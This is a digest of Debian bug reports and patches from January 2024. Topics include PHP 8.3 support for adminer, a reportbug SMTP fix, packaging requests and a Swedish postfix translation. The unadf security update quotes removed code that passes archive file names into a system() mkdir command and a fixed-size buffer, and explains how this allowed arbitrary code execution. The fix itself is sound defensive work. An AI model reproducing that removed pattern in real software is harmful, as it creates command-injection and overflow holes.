-   $expect = "\n?phpvar_dump(\$this);?\n\n";
+// PHP 8.3 changes the output.
+if (version_compare(PHP_VERSION, '8.3', '<')) {
+$expect = "\n?phpvar_dump(\$this);?\n\n";
+} else {
+// PHP 8.3
+$expect = '?php var_dump($this); ? ?';
+}
+
 
$this->assertEquals($expect, highlight_code(''));
}

Bug#1061573: adminer: Add php8.3 support

[Athos Ribeiro]

Source: adminer
Version: 4.8.1-1
Severity: normal
Tags: patch
X-Debbugs-Cc: athos.ribe...@canonical.com

Dear Maintainer,

adminer currently raises the following warning when ran with php8.3
(experimental):
  PHP Warning:  Trying to access array offset on null in 
/usr/share/adminer/adminer/include/design.inc.php on line 162

Since this is printed in stderr, the DEP8 tests for the package will
fail.

There is a PR open in the upstream project at
https://github.com/vrana/adminer/pull/484 which should address the
issue.

I am attaching it here.
>From 244aa0c1e6d443e00664dd97dc79a0a62918534d Mon Sep 17 00:00:00 2001
From: Sneda8 <85223444+sne...@users.noreply.github.com>
Date: Sun, 17 Dec 2023 01:36:25 +0100
Subject: [PATCH] PHP 8.3 error suppression

PHP 8.3 has shortened the array access on null error message to "Trying to 
access array offset on null". This commit changes the regular expression used 
to circumvent errors.

Origin: other, 
https://github.com/vrana/adminer/pull/484/commits/244aa0c1e6d443e00664dd97dc79a0a62918534d
Forwarded: https://github.com/vrana/adminer/pull/484
Last-Update: 2024-01-26
---
 adminer/include/bootstrap.inc.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/adminer/include/bootstrap.inc.php 
b/adminer/include/bootstrap.inc.php
index 8eaff3991..f18b1f7fc 100644
--- a/adminer/include/bootstrap.inc.php
+++ b/adminer/include/bootstrap.inc.php
@@ -1,6 +1,6 @@
 

Bug#1061572: bullseye-pu: package unadf/0.7.11a-4+deb11u1

[Moritz Muehlenhoff]

Package: release.debian.org
Severity: normal
Tags: bullseye
User: release.debian@packages.debian.org
Usertags: pu
X-Debbugs-Cc: un...@packages.debian.org
Control: affects -1 + src:unadf

Addresses two no-dsa security issues, same fix already rolled out
for Bookworm. Debdiff below.

Cheers,
Moritz

diff -Nru unadf-0.7.11a/debian/changelog unadf-0.7.11a/debian/changelog
--- unadf-0.7.11a/debian/changelog  2016-09-24 17:43:06.0 +0200
+++ unadf-0.7.11a/debian/changelog  2023-11-24 16:39:48.0 +0100
@@ -1,3 +1,9 @@
+unadf (0.7.11a-4+deb11u1) bullseye; urgency=medium
+
+  * CVE-2016-1243 / CVE-2016-1244 (Closes: #838248)
+
+ -- Moritz Mühlenhoff   Fri, 24 Nov 2023 18:34:16 +0100
+
 unadf (0.7.11a-4) unstable; urgency=high
 
   * Orphan package with security issues.
diff -Nru unadf-0.7.11a/debian/patches/CVE-2016-1243_CVE-2016-1244 
unadf-0.7.11a/debian/patches/CVE-2016-1243_CVE-2016-1244
--- unadf-0.7.11a/debian/patches/CVE-2016-1243_CVE-2016-12441970-01-01 
01:00:00.0 +0100
+++ unadf-0.7.11a/debian/patches/CVE-2016-1243_CVE-2016-12442023-11-24 
16:38:37.0 +0100
@@ -0,0 +1,146 @@
+Description: Fix unsafe extraction by using mkdir() instead of shell command
+  This commit fixes following vulnerabilities:
+
+  - CVE-2016-1243: stack buffer overflow caused by blindly trusting on
+pathname lengths of archived files
+
+Stack allocated buffer sysbuf was filled with sprintf() without any
+bounds checking in extracTree() function.
+
+  - CVE-2016-1244: execution of unsanitized input
+
+Shell command used for creating directory paths was constructed by
+concatenating names of archived files to the end of the command
+string.
+
+  So, if the user was tricked to extract a specially crafted .adf file,
+  the attacker was able to execute arbitrary code with privileges of the
+  user.
+
+  This commit fixes both issues by
+
+1) replacing mkdir shell commands with mkdir() function calls
+2) removing redundant sysbuf buffer
+
+Author: Tuomas Räsänen 
+Last-Update: 2016-09-20
+--
+--- a/Demo/unadf.c
 b/Demo/unadf.c
+@@ -24,6 +24,8 @@
+ 
+ #define UNADF_VERSION "1.0"
+ 
++#include 
++#include 
+ 
+ #include
+ #include
+@@ -31,17 +33,15 @@
+ 
+ #include "adflib.h"
+ 
+-/* The portable way used to create a directory is to call the MKDIR command 
via the
+- * system() function.
+- * It is used to create the 'dir1' directory, like the 'dir1/dir11' directory
++/* The portable way used to create a directory is to call mkdir()
++ * which is defined by following standards: SVr4, BSD, POSIX.1-2001
++ * and POSIX.1-2008
+  */
+ 
+ /* the portable way to check if a directory 'dir1' already exists i'm using 
is to
+  * do fopen('dir1','rb'). NULL is returned if 'dir1' doesn't exists yet, an 
handle instead
+  */
+ 
+-#define MKDIR "mkdir"
+-
+ #ifdef WIN32
+ #define DIRSEP '\\'
+ #else
+@@ -51,6 +51,13 @@
+ #define EXTBUFL 1024*8
+ 
+ 
++static void mkdirOrLogErr(const char *const path)
++{
++  if (mkdir(path, S_IRWXU | S_IRWXG | S_IRWXO))
++  fprintf(stderr, "mkdir: cannot create directory '%s': %s\n",
++  path, strerror(errno));
++}
++
+ void help()
+ {
+ puts("unadf [-lrcsp -v n] dumpname.adf [files-with-path] [-d 
extractdir]");
+@@ -152,7 +159,6 @@ void extractTree(struct Volume *vol, str
+ {
+   struct Entry* entry;
+ char *buf;
+-char sysbuf[200];
+ 
+ while(tree) {
+ entry = (struct Entry*)tree->content;
+@@ -162,16 +168,14 @@ void extractTree(struct Volume *vol, str
+ buf=(char*)malloc(strlen(path)+1+strlen(entry->name)+1);
+ if (!buf) return;
+ sprintf(buf,"%s%c%s",path,DIRSEP,entry->name);
+-sprintf(sysbuf,"%s %s",MKDIR,buf);
+ if (!qflag) printf("x - %s%c\n",buf,DIRSEP);
++if (!pflag) mkdirOrLogErr(buf);
+ }
+ else {
+-sprintf(sysbuf,"%s %s",MKDIR,entry->name);
+ if (!qflag) printf("x - %s%c\n",entry->name,DIRSEP);
++if (!pflag) mkdirOrLogErr(entry->name);
+ }
+ 
+-if (!pflag) system(sysbuf);
+-
+   if (tree->subdir!=NULL) {
+ if (adfChangeDir(vol,entry->name)==RC_OK) {
+ if (buf!=NULL)
+@@ -301,21 +305,20 @@ void processFile(struct Volume *vol, cha
+ extractFile(vol, name, path, extbuf, pflag, qflag);
+ }
+ else {
+-/* the all-in-one string : to call system(), to find the filename, 
the convert dir sep char ... */
+-bigstr=(char*)malloc(strlen(MKDIR)+1+strlen(path)+1+strlen(name)+1);
++bigstr=(char*)malloc(strlen(path)+1+strlen(name)+1);
+ if (!bigstr) { fprintf(stderr,"processFile : malloc"); return; }
+ 
+ /* to build to extract path */
+ if (strlen(path)>0) {
+-sprintf(bigstr,"%s %s%c%s",MKDIR,path,DIRSEP,name);
+-cdstr = 

Bug#1061571: libscrypt: Broken uscan upstream monitoring script

[Boyuan Yang]

Source: libscrypt
Severity: normal
Version: 1.21-3.1
Tags: patch

Currently debian/watch file is broken due to GitHub changes. Please consider 
using the
following updated method with GitHub API instead:

version=4
opts="filenamemangle=s%.*/@ANY_VERSION@%@PACKAGE@-$1.tar.gz%,searchmode=plain" \
 https://api.github.com/repos/technion/libscrypt/tags?per_page=100 \
 https://api.github.com/repos/technion/libscrypt/tarball/refs/tags/@ANY_VERSION@

Thanks,
Boyuan Yang


signature.asc
Description: This is a digitally signed message part

Bug#1061570: libscrypt: New upstream release available

[Boyuan Yang]

Source: libscrypt
Severity: normal
Version: 1.21-3.1

Dear Debian libscrypt maintainer,

A new upstream release of libscrypt is available at
https://github.com/technion/libscrypt/releases/tag/v1.22 . Please
consider packaging it. Thanks!

Best Regards,
Boyuan Yang


signature.asc
Description: This is a digitally signed message part

Bug#1061558: compton: Recommends 'picom', another X11 compositor.

[Phil Wyett]

severity 1061558 + important
thanks

-- 
Playing the game for the games sake.

Web:

* Debian Wiki: https://wiki.debian.org/PhilWyett
* Website: https://kathenas.org
* Social Debian: https://pleroma.debian.social/kathenas/
* Social Instagram: https://www.instagram.com/kathenasorg/




signature.asc
Description: This is a digitally signed message part

Bug#926900: sslv3 alert illegal parameter

[Laurent Bigonville]

tag 926900 patch
thanks

The attached patch fixes the issue for me

Le 26/01/24 à 10:38, Laurent Bigonville a écrit :
When looking at the documentation of smtplib (the python library used 
here), it says:

An SMTP_SSL instance behaves exactly the same as instances of SMTP.
SMTP_SSL*should be used for situations where SSL is required from the 
beginning of the connection and using starttls() is not appropriate*.

If host is not specified, the local host is used. If port is zero, the standard 
SMTP-over-SSL port (465) is used.

So that means that SMTP_SSL is used for connections where SSL is 
present from the start and not when STARTTLS is used to upgrade the 
connection to a secure one.


The documentation of reportbug says: smtptls:  Enables TLS encryption 
for the SMTP connection, using STARTTLS. This setting is ignored if 
you connect to port 465, in which case SSL/TLS will always be used.


So either the documentation is wrong, of the code is.

The following python code works:

>>> smtp = smtplib.SMTP('mail-submit.debian.org',587)
>>> smtp.ehlo()
(250, b'stravinsky.debian.org Hello eriador.bigon.be 
[2a02:a03f:65c5:3301:a912:aba9:d92d:4965]\nSIZE 
104857600\n8BITMIME\nCHUNKING\nSTARTTLS\nSMTPUTF8\nHELP')
>>> smtp.starttls()
(220, b'TLS go ahead')
>>> smtp.quit()
(221, b'stravinsky.debian.org closing connection')
>>> 


While this is not:

>>> smtplib.SMTP_SSL('mail-submit.debian.org',587)
Traceback (most recent call last):
   File "", line 1, in 
   File "/usr/lib/python3.11/smtplib.py", line 1050, in __init__
 SMTP.__init__(self, host, port, local_hostname, timeout,
   File "/usr/lib/python3.11/smtplib.py", line 255, in __init__
 (code, msg) = self.connect(host, port)
   
   File "/usr/lib/python3.11/smtplib.py", line 341, in connect
 self.sock = self._get_socket(host, port, self.timeout)
 ^^
   File "/usr/lib/python3.11/smtplib.py", line 1057, in _get_socket
 new_socket = self.context.wrap_socket(new_socket,
  
   File "/usr/lib/python3.11/ssl.py", line 517, in wrap_socket
 return self.sslsocket_class._create(
^
   File "/usr/lib/python3.11/ssl.py", line 1108, in _create
 self.do_handshake()
   File "/usr/lib/python3.11/ssl.py", line 1383, in do_handshake
 self._sslobj.do_handshake()
ssl.SSLError: [SSL: WRONG_VERSION_NUMBER] wrong version number (_ssl.c:1006)
>>>From 19b99e6c66c5febbcf590846cf29f824bc1c1440 Mon Sep 17 00:00:00 2001
From: Laurent Bigonville 
Date: Fri, 26 Jan 2024 13:56:09 +0100
Subject: [PATCH] Fix issue when sending mails using SSL/STARTTLS

The hostname passed to smtplib should not contain the port, this
hostname is used to verify the SSL certificate.

Closes: #926900
---
 reportbug/submit.py | 15 ++-
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/reportbug/submit.py b/reportbug/submit.py
index 0daaad4..94a30bf 100644
--- a/reportbug/submit.py
+++ b/reportbug/submit.py
@@ -446,6 +446,11 @@ def send_report(body, attachments, mua, fromaddr, sendto, ccaddr, bccaddr,
 tryagain = True
 refused = None
 retry = 0
+_smtphost = smtphost.split(':')[0]
+try:
+smtpport = smtphost.split(':')[1]
+except IndexError:
+smtpport = 25
 while tryagain:
 tryagain = False
 ewrite("Connecting to %s via SMTP...\n", smtphost)
@@ -453,14 +458,14 @@ def send_report(body, attachments, mua, fromaddr, sendto, ccaddr, bccaddr,
 conn = None
 # if we're using reportbug.debian.org, send mail to
 # submit
-if smtphost.lower() == 'reportbug.debian.org':
-conn = smtplib.SMTP(smtphost, 587)
-elif smtphost.endswith(':465'):
+if _smtphost.lower() == 'reportbug.debian.org':
+conn = smtplib.SMTP(_smtphost, 587)
+elif smtpport == 465:
 # ignore smtptls setting since port 465 implies SSL
 smtptls = None
-conn = smtplib.SMTP_SSL(smtphost)
+conn = smtplib.SMTP_SSL(_smtphost, 465)
 else:
-conn = smtplib.SMTP(smtphost)
+conn = smtplib.SMTP(_smtphost, smtpport)
 response = conn.ehlo()
 if not (200 <= response[0] <= 299):
 conn.helo()
-- 
2.43.0

Bug#1061569: spam: reportbug test

[Laurent Bigonville]

Package: spam
Severity: normal

Test, please disregard

Bug#1061417: RFS: pusimp/0.1.0-1 [ITP] -- prevent user-site imports (python3)

[Francesco Ballarin]

Adding (again) debian-pyt...@lists.debian.org in cc: dear DPT members,
please see my RFS quoted below.

Hopefully this time it will work and it won't be filtered by the spam
filter: in contrast to the previous attempt I am now a member of the
debian-python mailing list and I am sending this email as plain text.


On Wed, Jan 24, 2024 at 7:39 AM Francesco Ballarin
 wrote:
>
> Package: sponsorship-requests
> Severity: normal
> X-Debbugs-Cc: francesco.balla...@unicatt.it
>
> Dear mentors,
>
> I am looking for a sponsor for my package "pusimp":
>
>  * Package name : pusimp
>Version  : 0.1.0-1
>Upstream contact : Francesco Ballarin 
>  * URL  : https://github.com/python-pusimp/pusimp
>  * License  : MIT
>  * Vcs  : https://salsa.debian.org/python-team/packages/pusimp
>Section  : python3
>
> The source builds the following binary packages:
>
>   python3-pusimp -- prevent user-site imports (Python 3)
>
> To access further information about this package, please visit the following 
> URL:
>
>   https://mentors.debian.net/package/pusimp/
>
> Alternatively, you can download the package with 'dget' using this command:
>
>   dget -x 
> https://mentors.debian.net/debian/pool/main/p/pusimp/pusimp_0.1.0-1.dsc
>
> pusimp is a python library to prevent user-site imports of specific
> dependencies of a package. The typical scenario for using pusimp is
> in combination with a system manager (e.g., apt for Debian), to prevent
> dependencies from being loaded from user-site instead of the location
> provided by the system manager.
>
> We designed pusimp with in mind the specific use case of the FEniCS
> project. It happens often that users post messages at the FEniCS discourse
> forum asking why their ubuntu/debian installation is not working correctly,
> and several times this is due to the presence of user-made installation
> attempts in user-site locations. For whatever reason, this happens
> somewhat frequently, see for instance
> https://fenicsproject.discourse.group/t/installation-trouble/13029/16
> https://fenicsproject.discourse.group/t/hdf5-update-didnt-work/13323/4
> https://fenicsproject.discourse.group/t/ubuntu-18-04-importerror-cannot-import-name-sub-forms-by-domain/4257/14
> https://fenicsproject.discourse.group/t/unknown-ufl-object-type-vectorelement-error/13145/2
> https://fenicsproject.discourse.group/t/importerror-cannot-import-name-abstractfiniteelement-from-ufl-finiteelement/13154/2
> for five examples of users who made this same mistake in the last 30
> days.
>
> We thus initially plan to use pusimp in the python3-dolfin and
> python3-dolfinx packages, but the logic behind pusimp is purposely
> simple and general and could also be used for other packages which have
> similar issues.
> See
> https://salsa.debian.org/science-team/fenics/dolfin/-/merge_requests/4
> for an example of some error messages that pusimp would produce for the
> python3-dolfin package.
>
> This RFS will close https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1060805
>
> Cheers,
> Francesco Ballarin
[http://static.unicatt.it/ext-portale/5xmille_firma_mail_2023.jpg] 

Bug#1061568: ITP: source-map-js -- Generates and consumes source maps

[Kalyani Kenekar]

Package: wnpp  
Severity: wishlist
Owner: Kalyani Kenekar 
X-Debbugs-Cc: debian-de...@lists.debian.org

* Package name: source-map-js
  Version : 1.0.2
  Upstream Author : Valentin Semirulnik 
* URL : https://github.com/7rulnik/source-map-js
* License : BSD-3clause 
  Programming Lang: Javascript
  Description : Generates and consumes source maps

The source-map-js package is a fork of source-map which includes some
additional optimizations. This is a library to generate and consume the
source map format from 
https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k

(Description will get some more tunning.)

I will need a sponsor.

Bug#1056047: python-skbio: FTBFS with Python 3.12 (test failures)

[Graham Inggs]

Hi Andreas

The upstream issue is still open, and the tests are still disabled in
the package.

I think you should keep this bug open until the python-skbio can build
with the tests enabled.

Regards
Graham

Bug#1061567: gnome-builder FTBFS: redefinition of glib_autoptr_*_GtkStackPage

[Adrian Bunk]

Source: gnome-builder
Version: 45.0-1
Severity: serious
Tags: ftbfs patch
Forwarded: 
https://gitlab.gnome.org/GNOME/gnome-builder/-/commit/7aaaecefc2ea8a37eaeae8b4d726d119d4eb8fa3

https://buildd.debian.org/status/fetch.php?pkg=gnome-builder=riscv64=45.0-1%2Bb2=1706281444=0
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/gnome-builder.html

...
FAILED: src/libide/tweaks/libide-tweaks-45.a.p/ide-tweaks-window.c.o
cc -Isrc/libide/tweaks/libide-tweaks-45.a.p -Isrc/libide/tweaks 
-I../src/libide/tweaks -Isrc/libide/core -I../src/libide/core -Isrc/libide/io 
-I../src/libide/io -Isrc/libide/threading -I../src/libide/threading 
-Isrc/libide/search -I../src/libide/search -Isrc/libide/gtk -I../src/libide/gtk 
-Isrc/libide/plugins -I../src/libide/plugins -I/usr/include/glib-2.0 
-I/usr/lib/riscv64-linux-gnu/glib-2.0/include -I/usr/include/libmount 
-I/usr/include/blkid -I/usr/include/gtk-4.0 -I/usr/include/pango-1.0 
-I/usr/include/harfbuzz -I/usr/include/freetype2 -I/usr/include/libpng16 
-I/usr/include/fribidi -I/usr/include/cairo -I/usr/include/pixman-1 
-I/usr/include/gdk-pixbuf-2.0 -I/usr/include/riscv64-linux-gnu 
-I/usr/include/webp -I/usr/include/graphene-1.0 
-I/usr/lib/riscv64-linux-gnu/graphene-1.0/include -I/usr/include/libadwaita-1 
-I/usr/include/appstream -I/usr/include/libdex-1 -I/usr/include/libpeas-2 
-I/usr/include/gio-unix-2.0 -I/usr/include/gtksourceview-5 
-I/usr/include/libxml2 -I/<>/obj-riscv64-linux-gnu 
-fdiagnostics-color=always -D_FILE_OFFSET_BITS=64 -Wall -Winvalid-pch -Wextra 
-std=gnu11 -DGLIB_VERSION_MIN_REQUIRED=GLIB_VERSION_2_76 
-DGLIB_VERSION_MAX_ALLOWED=GLIB_VERSION_2_76 
-DGDK_VERSION_MIN_REQUIRED=GDK_VERSION_4_10 
-DGDK_VERSION_MAX_ALLOWED=GDK_VERSION_4_10 -DGDK_DISABLE_DEPRECATION_WARNINGS 
-DADW_VERSION_MIN_REQUIRED=ADW_VERSION_1_4 
-DADW_VERSION_MAX_ALLOWED=ADW_VERSION_1_4 
-DGTK_SOURCE_VERSION_MIN_REQUIRED=GTK_SOURCE_VERSION_5_8 
-DGTK_SOURCE_VERSION_MAX_ALLOWED=GTK_SOURCE_VERSION_5_8 -Wcast-align 
-Wdeclaration-after-statement -Werror=address -Werror=array-bounds 
-Werror=empty-body -Werror=implicit -Werror=implicit-function-declaration 
-Werror=incompatible-pointer-types -Werror=init-self -Werror=int-conversion 
-Werror=int-to-pointer-cast -Werror=main -Werror=misleading-indentation 
-Werror=missing-braces -Werror=missing-include-dirs -Werror=nonnull 
-Werror=overflow -Werror=pointer-arith -Werror=pointer-to-int-cast 
-Werror=redundant-decls -Werror=return-type -Werror=sequence-point 
-Werror=shadow -Werror=trigraphs -Werror=undef -Werror=write-strings 
-Wformat-nonliteral -Werror=format-security -Werror=format=2 
-Wignored-qualifiers -Wimplicit-function-declaration -Wlogical-op 
-Wmissing-format-attribute -Wmissing-include-dirs -Wmissing-noreturn 
-Wnested-externs -Wno-cast-function-type -Wno-dangling-pointer 
-Wno-missing-field-initializers -Wno-sign-compare -Wno-unused-parameter 
-Wold-style-definition -Wpointer-arith -Wredundant-decls -Wstrict-prototypes 
-Wswitch-default -Wswitch-enum -Wundef -Wuninitialized -Wunused 
-fno-strict-aliasing -DHAVE_CONFIG_H -D_GNU_SOURCE -DIDE_COMPILATION 
-DG_DISABLE_CAST_CHECKS -g -O2 -ffile-prefix-map=/<>=. 
-fstack-protector-strong -Wformat -Werror=format-security -Wdate-time 
-D_FORTIFY_SOURCE=2 -fPIC -pthread -Wmissing-declarations -fvisibility=hidden 
-DG_DISABLE_ASSERT -DIDE_TWEAKS_COMPILATION -MD -MQ 
src/libide/tweaks/libide-tweaks-45.a.p/ide-tweaks-window.c.o -MF 
src/libide/tweaks/libide-tweaks-45.a.p/ide-tweaks-window.c.o.d -o 
src/libide/tweaks/libide-tweaks-45.a.p/ide-tweaks-window.c.o -c 
../src/libide/tweaks/ide-tweaks-window.c
In file included from 
/usr/lib/riscv64-linux-gnu/glib-2.0/include/glibconfig.h:9,
 from /usr/include/glib-2.0/glib/gtypes.h:34,
 from /usr/include/glib-2.0/glib/galloca.h:34,
 from /usr/include/glib-2.0/glib.h:32,
 from /usr/include/glib-2.0/glib/gi18n.h:23,
 from ../src/libide/tweaks/ide-tweaks-window.c:25:
/usr/include/glib-2.0/glib/gmacros.h:1338:49: error: redefinition of 
‘glib_autoptr_clear_GtkStackPage’
 1338 | #define _GLIB_AUTOPTR_CLEAR_FUNC_NAME(TypeName) 
glib_autoptr_clear_##TypeName
  | ^~~
/usr/include/glib-2.0/glib/gmacros.h:1354:36: note: in expansion of macro 
‘_GLIB_AUTOPTR_CLEAR_FUNC_NAME’
 1354 |   static G_GNUC_UNUSED inline void 
_GLIB_AUTOPTR_CLEAR_FUNC_NAME(TypeName) (TypeName *_ptr) \
  |^
/usr/include/glib-2.0/glib/gmacros.h:1371:3: note: in expansion of macro 
‘_GLIB_DEFINE_AUTOPTR_CLEANUP_FUNCS’
 1371 |   _GLIB_DEFINE_AUTOPTR_CLEANUP_FUNCS(TypeName, TypeName, func)
  |   ^~
../src/libide/tweaks/ide-tweaks-window.c:35:1: note: in expansion of macro 
‘G_DEFINE_AUTOPTR_CLEANUP_FUNC’
   35 | G_DEFINE_AUTOPTR_CLEANUP_FUNC (GtkStackPage, g_object_unref)
  | 

Bug#1060801: uploaded NMU to DELAYED/5

[Matthias Klose]

uploaded NMU 4.2.0-0.1 to DELAYED/5

Bug#1061430: firmware-realtek: Realtek 10ec:8136 wrongly identified as Fast Ethernet instead of Gigabit

[Diederik de Haas]

Control: tag -1 moreinfo

On Wednesday, 24 January 2024 12:18:01 CET Răzvan Sandu wrote:
> ackage: firmware-realtek
> Version: 20230210-5
> Severity: normal
> 
> I've noted that two Realtek-based Ethernet cards (hardware ID
> [10ec:8136], chipset RTL8111C) in my system operate as Fast Ethernet,

https://linux-hardware.org/?view=search=10ec=8136 indicates 
it is Fast Ethernet.
https://duckduckgo.com/?q=10ec:8136 also indicates Fast Ethernet.

What's the reason you filed it against firmware-realtek? Correctly identifying 
the hardware is the job of the kernel (which then can request firmware).

> despite having Gigabit capability.
> They were advertised as "PCI-E Network Adapter" with support for
> Windows, Mac and GNU/Linux (10/100/1000 Mbps).

Based on the hardware ID it looks like it does NOT support GbE. 

> In order to help, I've entered full hardware data for this ID at
> https://h-node.org/ethernetcards/view/en/2358/Realtek-Semiconductor-Co---Ltd
> --RTL810xE-PCI-Express-Fast-Ethernet-controller--rev-05-
> Please include correct identification data for this RTL8111C Ethernet
> controller, so it can use its full hardware capabilities.

FWIW, you used hardware ID [10ec:0123] (not [10ec:8136])
That page includes information which should've been part of this bug report...

"this no-name adapter uses the Realtek RTL8111C chipset"
Why do you think that?


signature.asc
Description: This is a digitally signed message part.

Bug#1061566: urlscan: Man page points to wronly-named README file

[Wookey]

Package: urlscan
Version: 0.9.9-1
Severity: minor
Tags: patch upstream

The man page in this page lists the readme in the 'See Also' section.
But the filename is wrong.

In v0.9.9-1 the man page says:
/usr/share/doc/urlscan/README
and the file installed is
/usr/share/doc/urlscan/README.md.gz

This was wrong in 0.8.2-1 too
man page still said:
/usr/share/doc/urlscan/README
but the file installed was:
/usr/share/doc/urlscan/README.rst

Obviously this isn't a huge deal, but it is annoying to copy-paste the
filename and just get an error, then have to investigate. Making them
match up would be good.

Personally I don't like the way debian gzips small READMEs by default.
'more /usr/share/doc/urlscan/README.md.gz' produces garbage.
less and most work, but is saving 4K really worth it here (the
original is 7K)?

So I'd change the manpage to say 
/usr/share/doc/urlscan/README.md
and prevent the autogzipping.
(patch for this attached)

But you could just change the manpage to match the filename with the
.gz if you prefer.

The bit about changing the name (but not the bit about non gzipping)
should go upstream as this is an upstream issue.

Hope that's helpful.

Wookey
diff -Nru urlscan-0.9.9/debian/changelog urlscan-0.9.9/debian/changelog
--- urlscan-0.9.9/debian/changelog  2022-06-06 22:28:24.0 +0100
+++ urlscan-0.9.9/debian/changelog  2024-01-24 17:12:55.0 +
@@ -1,3 +1,10 @@
+urlscan (0.9.9-1.1) unstable; urgency=medium
+
+  * Non-maintainer upload.
+  * Correct README filename in manpage
+
+ -- Wookey   Wed, 24 Jan 2024 17:12:55 +
+
 urlscan (0.9.9-1) unstable; urgency=medium
 
   * New upstream version 0.9.9 (Closes: #999338)
diff -Nru urlscan-0.9.9/debian/patches/fixup-README-filename.patch 
urlscan-0.9.9/debian/patches/fixup-README-filename.patch
--- urlscan-0.9.9/debian/patches/fixup-README-filename.patch1970-01-01 
01:00:00.0 +0100
+++ urlscan-0.9.9/debian/patches/fixup-README-filename.patch2024-01-24 
17:12:55.0 +
@@ -0,0 +1,13 @@
+Index: urlscan-0.9.9/urlscan.1
+===
+--- urlscan-0.9.9.orig/urlscan.1
 urlscan-0.9.9/urlscan.1
+@@ -213,7 +213,7 @@ $HOME/.config/urlscan/config.json
+ Only required if additional or modified palettes or keybindings are desired.
+ 
+ .SH SEE ALSO
+-\fI/usr/share/doc/urlscan/README\fR,
++\fI/usr/share/doc/urlscan/README.md\fR,
+ \fBurlview\fR(1),
+ \fBmutt\fR(1)
+ 
diff -Nru urlscan-0.9.9/debian/patches/series 
urlscan-0.9.9/debian/patches/series
--- urlscan-0.9.9/debian/patches/series 2022-06-06 22:28:24.0 +0100
+++ urlscan-0.9.9/debian/patches/series 2024-01-24 17:12:55.0 +
@@ -1,1 +1,2 @@
 0001-Source-patch-removing-from-binary-package-not-needed.patch
+fixup-README-filename.patch
diff -Nru urlscan-0.9.9/debian/rules urlscan-0.9.9/debian/rules
--- urlscan-0.9.9/debian/rules  2022-06-06 22:28:24.0 +0100
+++ urlscan-0.9.9/debian/rules  2024-01-24 17:12:55.0 +
@@ -5,3 +5,6 @@
 
 override_dh_python3:
dh_python3 --shebang='/usr/bin/python3'
+
+override_dh_compress:
+   dh_compress --exclude README.md

Bug#1061564: [INTL:sv] Swedish strings for postfix debconf

[Anders Jonsson]

Hi Martin,
did some small grammar fixes in this one.

E.g "det korrekta värde" -> "det korrekta värdet"; "den här inställning" 
-> "den här inställningen"



Regards,
Anders# Translation of Postfix debconf template to Swedish
# Copyright (C) 2024 Martin Bagge 
# This file is distributed under the same license as the postfix package.
#
# Martin Ågren , 2008.
# Martin Bagge , 2012, 2013, 2017, 2024
msgid ""
msgstr ""
"Project-Id-Version: postfix_2.5.2-2_sv\n"
"Report-Msgid-Bugs-To: post...@packages.debian.org\n"
"POT-Creation-Date: 2023-06-30 20:49-0400\n"
"PO-Revision-Date: 2024-01-26 15:27+0100\n"
"Last-Translator: Martin Bagge / brother \n"
"Language-Team: Swedish \n"
"Language: sv\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#. Type: boolean
#. Description
#: ../templates:1001
msgid "Ignore incorrect hostname entry?"
msgstr "Ignorera felaktig \"hostname\"-post?"

#. Type: boolean
#. Description
#: ../templates:1001
msgid ""
"The string '${enteredstring}' does not follow RFC 1035 and does not appear "
"to be a valid IP address."
msgstr ""
"Strängen \"${enteredstring}\" följer inte RFC 1035 och verkar inte vara en "
"giltig IP-adress."

#. Type: boolean
#. Description
#: ../templates:1001
msgid ""
"RFC 1035 states that 'each component must start with an alphanum, end with "
"an alphanum and contain only alphanums and hyphens. Components must be "
"separated by full stops.'"
msgstr ""
"RFC 1035 fastslår att \"varje komponent måste börja med ett alfanumeriskt "
"tal, sluta med ett alfanumeriskt tal och får endast innehålla alfanumeriska "
"tal och bindestreck. Komponenter måste separeras med fullständiga stopp.\""

#. Type: boolean
#. Description
#: ../templates:1001
msgid "Please check and confirm if you want to keep your entry."
msgstr "Välj huruvida du vill behålla valet ändå."

#. Type: select
#. Choices
#. Translators beware! the following six strings form a single
#. Choices menu. - Every one of these strings has to fit in a standard
#. 80 characters console, as the fancy screen setup takes up some space
#. try to keep below ~71 characters.
#. DO NOT USE commas (,) in Choices translations otherwise
#. this will break the choices shown to users
#: ../templates:2001
msgid "No configuration"
msgstr "Ingen konfiguration"

#. Type: select
#. Choices
#. Translators beware! the following six strings form a single
#. Choices menu. - Every one of these strings has to fit in a standard
#. 80 characters console, as the fancy screen setup takes up some space
#. try to keep below ~71 characters.
#. DO NOT USE commas (,) in Choices translations otherwise
#. this will break the choices shown to users
#: ../templates:2001
msgid "Internet Site"
msgstr "Internetsystem"

#. Type: select
#. Choices
#. Translators beware! the following six strings form a single
#. Choices menu. - Every one of these strings has to fit in a standard
#. 80 characters console, as the fancy screen setup takes up some space
#. try to keep below ~71 characters.
#. DO NOT USE commas (,) in Choices translations otherwise
#. this will break the choices shown to users
#: ../templates:2001
msgid "Internet with smarthost"
msgstr "Internet med smart värd"

#. Type: select
#. Choices
#. Translators beware! the following six strings form a single
#. Choices menu. - Every one of these strings has to fit in a standard
#. 80 characters console, as the fancy screen setup takes up some space
#. try to keep below ~71 characters.
#. DO NOT USE commas (,) in Choices translations otherwise
#. this will break the choices shown to users
#: ../templates:2001
msgid "Satellite system"
msgstr "Satellitsystem"

#. Type: select
#. Choices
#. Translators beware! the following six strings form a single
#. Choices menu. - Every one of these strings has to fit in a standard
#. 80 characters console, as the fancy screen setup takes up some space
#. try to keep below ~71 characters.
#. DO NOT USE commas (,) in Choices translations otherwise
#. this will break the choices shown to users
#: ../templates:2001
msgid "Local only"
msgstr "Endast lokalt"

#. Type: select
#. Description
#: ../templates:2002
msgid "General mail configuration type:"
msgstr "Typ av e-postkonfiguration:"

#. Type: select
#. Description
#: ../templates:2002
msgid ""
"Please select the mail server configuration type that best meets your needs."
msgstr ""
"Välj den konfigurationstyp för e-postservern som bäst passar dina behov."

#. Type: select
#. Description
#: ../templates:2002
msgid ""
" No configuration:\n"
"  Should be chosen to leave the current configuration unchanged.\n"
" Internet site:\n"
"  Mail is sent and received directly using SMTP.\n"
" Internet with smarthost:\n"
"  Mail is received directly using SMTP or by running a utility such\n"
"  as fetchmail. Outgoing mail is sent using a smarthost.\n"
